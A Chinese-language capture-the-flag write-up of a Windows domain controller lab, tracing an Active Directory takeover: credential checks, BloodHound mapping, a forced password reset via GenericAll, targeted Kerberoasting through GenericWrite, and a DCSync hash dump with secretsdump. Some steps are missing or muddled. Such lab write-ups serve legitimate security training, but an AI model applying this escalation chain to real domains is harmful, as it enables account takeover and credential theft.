一台windows域控制器 难度：medium
As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich
用户名：Olivia

目标：获得一个用户flag和一个管理员flag
域环境初步信息收集与权限验证
首先通过 Nmap 扫描所有端口，确定其开放的服务和潜在入口点

FTP 登录尝试
利用所给的账户名'Olivia'和密码'ichliebedich'，尝试ftp登录，但由于 “Home directory inaccessible” 的错误，FTP 登录失败

SMB 枚举尝试
SMB 是一种网络文件共享协议，允许应用程序通过网络读取和写入文件、请求远程服务以及进行其他网络操作。
利用提供的账号密码，使用CrackMapExec工具对 SMB 服务进行枚举，验证提供的凭据是否可用，并查看是否存在有用的共享目录。
CrackMapExec 是一个常用的渗透测试工具，主要用于 Windows 网络的枚举和利用。它特别适合对 SMB、RDP 和 WinRM 服务进行广泛扫描、认证、执行命令和枚举共享目录等操作
结果显示，用户 Olivia 的 SMB 登录有效，但未发现有用的共享目录，仅能读取常见的 NETLOGON 和 SYSVOL

WinRM 登录olivia
WinRM 是 Microsoft 提供的远程管理协议，允许远程执行命令、启动进程、管理系统设置等，类似于 Unix 系统中的 SSH
使用 CrackMapExec 验证目标主机的WinRM 服务（端口 5985），发现凭据有效并成功登录。
返回结果表明可以通过 WinRM 获取远程访问权限

运行此命令后，我们获得了压缩包 20241205094659_bloodhound.zip，它包含了域中的所有关键信息。接下来，我们使用sudo neo4j start命令启动数据库，并使用 bloodbound 命令进入工具。将得到的zip压缩包拖入到Bloodhound中上传文件。
我们当前用户为olivia，因此查看一下节点信息，olivia有一个First Degreee object control(一级对象控制，接下来简称FDOC)，点击它可以看到olivia对用户michael拥有GenericAll权限。
GenericAll
GenericAll 权限相当于“完全控制”权限，意味着 olivia 可以完全控制 michael 用户，包括修改密码和组成员等操作。
使用evil-winrm登录olivia用户，修改域内用户michael的密码为michael
*Evil-WinRM* PS C:\Users\olivia\Documents> net user michael michael /domain
The command completed successfully.
成功登录，拿下michael用户

ForceChangePassword
打开bloodhound，查看michael用户，发现该用户也有一个FDOC，并且该FDOC对benjamin用户具有ForceChangePassword权限，即可以强制更改benjamin的密码。
ftp登录benjamin
在bloodhound中查看benjamin没有任何权限，但是他是share Moderator组的成员，可以尝试一下ftp连接
接下来使用ftp登录michael账户，

获取Ethan权限
再次查看bloodhound，emily有一个FDOC，对用户ethan拥有GenericWrite权限。
在 Active Directory (AD) 环境中，GenericWrite 是一种权限，允许攻击者对目标账户的属性进行修改。
这里介绍一下Kerberoasting攻击
Kerberos 协议在处理身份验证时，允许域内用户为拥有
SPN(Service Principal Name，标识服务实例的唯一名称) 的账户请求服务票据。这些票据通常是由账户的 NTLM 哈希加密生成的，只要域账户注册了
SPN，攻击者就可以使用Kerberos请求服务票据并提取票据。因此攻击者可以通过离线破解服务票据(例如使用工具PowerView或GetUserSPNs.py)间接得到目标账户的密码。
但是这里我们没有看到ethan用户注册SPN，因此我们只能通过GenericWrite为ethan用户创建一个SPN，然后请求一个票据并使用targetedKerberoast.py破解它。
targetedKerberoast.py下载链接：https://github.com/ShutdownRepo/targetedKerberoast
先更新一下时间，不然会有时差，导致破解失败

获取管理员(Administrator)权限
现在我们已经获取了 ethan 的密码，使用 BloodHound 检查他的权限。发现 ethan 的 FDOC权限间接赋予了他在域控制器 (Domain Controller, DC) 上的 DCSync权限。
DCSync 是一种滥用 Active Directory (AD) 复制机制的攻击技术。拥有 DCSync 权限的用户可以模拟域控制器，向其他 DC 请求复制敏感数据，如 NTLM 哈希和 Kerberos 密钥。
借助DCSync，使用impacket-secretsdump转储域控制器上的所有密码
